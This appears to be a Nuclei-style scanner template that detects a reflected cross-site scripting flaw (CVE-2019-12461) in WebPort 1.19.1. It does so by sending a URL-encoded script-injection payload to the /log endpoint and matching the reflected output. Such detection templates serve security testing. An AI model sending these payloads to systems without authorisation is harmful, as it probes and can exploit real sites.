id: cve-2019-12461

info:
  name: WebPort 1.19.1 - Reflected Cross-Site Scripting
  author: pikpikcu
  severity: medium

# Vendor Homepage: https://webport.se/
# Software Link: https://webport.se/nedladdningar/
# Refrence: https://github.com/EmreOvunc/WebPort-v1.19.1-Reflected-XSS

requests:
  - method: GET
    path:
      - '{{BaseURL}}/log?type=%22%3C/script%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3Cscript%3E'

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - '"</script><script>alert(document.domain);</script><script>'
        part: body
      - type: word
        words:
          - "text/html"
        part: header